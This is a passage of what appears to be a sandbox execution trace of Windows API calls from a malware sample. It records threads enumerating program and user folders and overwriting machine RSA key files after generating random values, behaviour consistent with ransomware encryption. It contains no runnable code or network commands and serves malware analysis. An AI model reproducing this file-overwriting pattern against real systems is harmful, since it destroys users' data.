ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x38c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02039_.GIF", cAlternateFileName="")) returned 1 [0065.875] wcscmp (_String1="WB02039_.GIF", _String2=".") returned 1 [0065.875] wcscmp (_String1="WB02039_.GIF", _String2="..") returned 1 [0065.875] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x12cfb608 [0065.875] wcscpy (in: _Dest=0x12cfb608, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.875] wcscat (in: _Dest=0x12cfb608, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.875] wcscat (in: _Dest=0x12cfb608, _Source="WB02039_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02039_.GIF" [0065.875] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfb608, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16e8 [0065.876] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x987, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02055_.GIF", cAlternateFileName="")) returned 1 [0065.876] wcscmp (_String1="WB02055_.GIF", _String2=".") returned 1 [0065.876] wcscmp (_String1="WB02055_.GIF", _String2="..") returned 1 [0065.876] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x12cfb6b0 [0065.876] wcscpy (in: _Dest=0x12cfb6b0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.876] wcscat (in: _Dest=0x12cfb6b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.876] wcscat (in: _Dest=0x12cfb6b0, _Source="WB02055_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02055_.GIF" [0065.876] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfb6b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16ec [0065.877] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x37d, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02073_.GIF", cAlternateFileName="")) returned 1 [0065.877] wcscmp (_String1="WB02073_.GIF", _String2=".") returned 1 [0065.877] wcscmp (_String1="WB02073_.GIF", _String2="..") returned 1 [0065.877] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x12cfb758 [0065.878] wcscpy (in: _Dest=0x12cfb758, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.878] wcscat (in: _Dest=0x12cfb758, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.878] wcscat (in: _Dest=0x12cfb758, _Source="WB02073_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02073_.GIF" [0065.878] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfb758, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16f0 [0065.879] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x516, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02074_.GIF", cAlternateFileName="")) returned 1 [0065.879] wcscmp (_String1="WB02074_.GIF", _String2=".") returned 1 [0065.879] wcscmp (_String1="WB02074_.GIF", _String2="..") returned 1 [0065.879] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x12cfb800 [0065.879] wcscpy (in: _Dest=0x12cfb800, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.879] wcscat (in: _Dest=0x12cfb800, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.879] wcscat (in: _Dest=0x12cfb800, _Source="WB02074_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02074_.GIF" [0065.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfb800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16f4 [0065.880] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02077_.GIF", cAlternateFileName="")) returned 1 [0065.880] wcscmp (_String1="WB02077_.GIF", _String2=".") returned 1 [0065.880] wcscmp (_String1="WB02077_.GIF", _String2="..") returned 1 [0065.880] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x12cfb8a8 [0065.880] wcscpy (in: _Dest=0x12cfb8a8, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.880] wcscat (in: _Dest=0x12cfb8a8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.880] wcscat (in: _Dest=0x12cfb8a8, _Source="WB02077_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02077_.GIF" [0065.880] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfb8a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16f8 [0065.881] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7089b290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x996, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02082_.GIF", cAlternateFileName="")) returned 1 [0065.881] wcscmp (_String1="WB02082_.GIF", _String2=".") returned 1 [0065.881] wcscmp (_String1="WB02082_.GIF", _String2="..") returned 1 [0065.881] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x12cfb950 [0065.881] wcscpy (in: _Dest=0x12cfb950, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.881] wcscat (in: _Dest=0x12cfb950, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.881] wcscat (in: _Dest=0x12cfb950, _Source="WB02082_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02082_.GIF" [0065.881] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfb950, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16fc [0065.883] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x90c, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02085_.GIF", cAlternateFileName="")) returned 1 [0065.883] wcscmp (_String1="WB02085_.GIF", _String2=".") returned 1 [0065.883] wcscmp (_String1="WB02085_.GIF", _String2="..") returned 1 [0065.883] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x12cfb9f8 [0065.883] wcscpy (in: _Dest=0x12cfb9f8, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0065.883] wcscat (in: _Dest=0x12cfb9f8, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0065.883] wcscat (in: _Dest=0x12cfb9f8, _Source="WB02085_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02085_.GIF" [0065.883] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x12cfb9f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1700 [0066.128] FindNextFileW (in: hFindFile=0x440fa0, lpFindFileData=0x12e06098 | out: lpFindFileData=0x12e06098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e59b110, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x581, dwReserved0=0x0, dwReserved1=0x0, cFileName="WB02097_.GIF", cAlternateFileName="")) returned 1 [0066.128] wcscmp (_String1="WB02097_.GIF", _String2=".") returned 1 [0066.128] wcscmp (_String1="WB02097_.GIF", _String2="..") returned 1 [0066.128] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9a) returned 0x12cfbaa0 [0066.128] wcscpy (in: _Dest=0x12cfbaa0, _Source="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds" [0066.128] wcscat (in: _Dest=0x12cfbaa0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\" [0066.128] wcscat (in: _Dest=0x12cfbaa0, _Source="WB02097_.GIF" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\Publisher\\Backgrounds\\WB02097_.GIF" Thread: id = 1173 os_tid = 0x7e8 [0061.976] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f")) returned 0x2024 [0061.976] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", dwFileAttributes=0x20) returned 1 [0064.537] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\6d14e4b1d8ca773bab785d1be032546e_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb84 [0064.537] GetFileSizeEx (in: hFile=0xb84, lpFileSize=0x11c2fe78 | out: lpFileSize=0x11c2fe78*=47) returned 1 [0064.537] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9210 [0064.537] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e92b0 [0064.537] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4e9378 [0064.537] NtQuerySystemTime (in: CurrentTime=0x11c2fdd8 | out: CurrentTime=0x11c2fdd8*=132174898285140000) returned 0x0 [0064.537] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x6a6dae1a [0064.537] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x6f9b23cd [0064.537] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x57931b9b [0064.537] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x2fba7c31 [0064.537] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x22f8ee98 [0064.537] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x2a7a22a3 [0064.537] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x39152265 [0064.537] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x677ed368 [0064.537] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x1083ddc [0064.537] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x3f14f026 [0064.537] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x75d53cb2 [0064.537] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x2d3e29a [0064.537] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x7c8394a1 [0064.537] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x3d313e48 [0064.537] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x63ef246b [0064.537] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x7e1e282a [0064.537] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x168820fb [0064.537] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x94fdff2 [0064.537] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x652394b8 [0064.538] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x1e884801 [0064.538] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x2b5dfc9f [0064.538] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x56e47df6 [0064.538] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x69149698 [0064.538] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x3ebf8c60 [0064.538] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x72846dec [0064.538] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x9a7eb40 [0064.538] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x7e0e9d65 [0064.538] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x4917725b [0064.538] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0xc89c5d0 [0064.538] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x388c0f8b [0064.538] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x43b62731 [0064.538] RtlRandomEx (in: Seed=0x11c2fde4 | out: Seed=0x11c2fde4) returned 0x32899eab [0064.549] ReadFile (in: hFile=0xb84, lpBuffer=0x5eb80a8, nNumberOfBytesToRead=0x2f, lpNumberOfBytesRead=0x11c2fdd4, lpOverlapped=0x0 | out: lpBuffer=0x5eb80a8*, lpNumberOfBytesRead=0x11c2fdd4*=0x2f, lpOverlapped=0x0) returned 1 [0064.551] SetFilePointerEx (in: hFile=0xb84, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.551] WriteFile (hFile=0xb84, lpBuffer=0x196dd198, nNumberOfBytesToWrite=0x2f, lpNumberOfBytesWritten=0x11c2fdd0, lpOverlapped=0x0) Thread: id = 1174 os_tid = 0x7d8 [0061.976] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f")) returned 0x2024 [0061.977] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\d42cc0c3858a58db2db37658219e6400_0303d5b4-ffe9-470e-9dd8-7d9ec416e53f", dwFileAttributes=0x20) Thread: id = 1175 os_tid = 0x5b8 [0061.977] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x9c) returned 0x43ec38 [0061.977] wcscpy (in: _Dest=0x43ec38, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0061.977] wcscat (in: _Dest=0x43ec38, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0061.977] wcscat (in: _Dest=0x43ec38, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*" [0061.977] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x12e04d58 [0061.977] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\*", lpFindFileData=0x12e04d58 | out: lpFindFileData=0x12e04d58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x440fe0 [0063.811] wcscmp (_String1=".", _String2=".") returned 0 [0063.811] FindNextFileW (in: hFindFile=0x440fe0, lpFindFileData=0x12e04d58 | out: lpFindFileData=0x12e04d58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f804400, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.811] wcscmp (_String1="..", _String2=".") returned 1 [0063.811] wcscmp (_String1="..", _String2="..") returned 0 [0063.811] FindNextFileW (in: hFindFile=0x440fe0, lpFindFileData=0x12e04d58 | out: lpFindFileData=0x12e04d58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81eb2980, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAT", cAlternateFileName="")) returned 1 [0063.811] wcscmp (_String1="CAT", _String2=".") returned 1 [0063.811] wcscmp (_String1="CAT", _String2="..") returned 1 [0063.811] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa0) returned 0x43e110 [0063.811] wcscpy (in: _Dest=0x43e110, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps" [0063.811] wcscat (in: _Dest=0x43e110, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\" [0063.811] wcscat (in: _Dest=0x43e110, _Source="CAT" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\CAT" Thread: id = 1176 os_tid = 0x7d4 [0061.979] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn" (normalized: "c:\\users\\all users\\microsoft help\\ms.winword.dev.14.1033.hxn")) Thread: id = 1177 os_tid = 0x868 [0061.980] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\nslist.hxl" (normalized: "c:\\users\\all users\\microsoft help\\nslist.hxl")) returned 0x2022 [0064.291] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\nslist.hxl", dwFileAttributes=0x20) returned 0 [0064.292] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\nslist.hxl" (normalized: "c:\\users\\all users\\microsoft help\\nslist.hxl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0064.292] GetLastError () returned 0x2 [0064.292] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft Help\\nslist.hxl", dwFileAttributes=0x2022) returned 0 [0064.292] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445e48) returned 1 Thread: id = 1178 os_tid = 0x494 [0061.980] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xaa) returned 0x45c408 [0061.980] wcscpy (in: _Dest=0x45c408, _Source="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}" [0061.980] wcscat (in: _Dest=0x45c408, _Source="\\" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\" [0061.980] wcscat (in: _Dest=0x45c408, _Source="*" | out: _Dest="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*") returned="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*" [0061.980] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x42d850 [0061.980] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Roaming\\Identities\\{31810C36-5D23-4CCE-A3B4-316DED195C38}\\*", lpFindFileData=0x42d850 | out: lpFindFileData=0x42d850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, 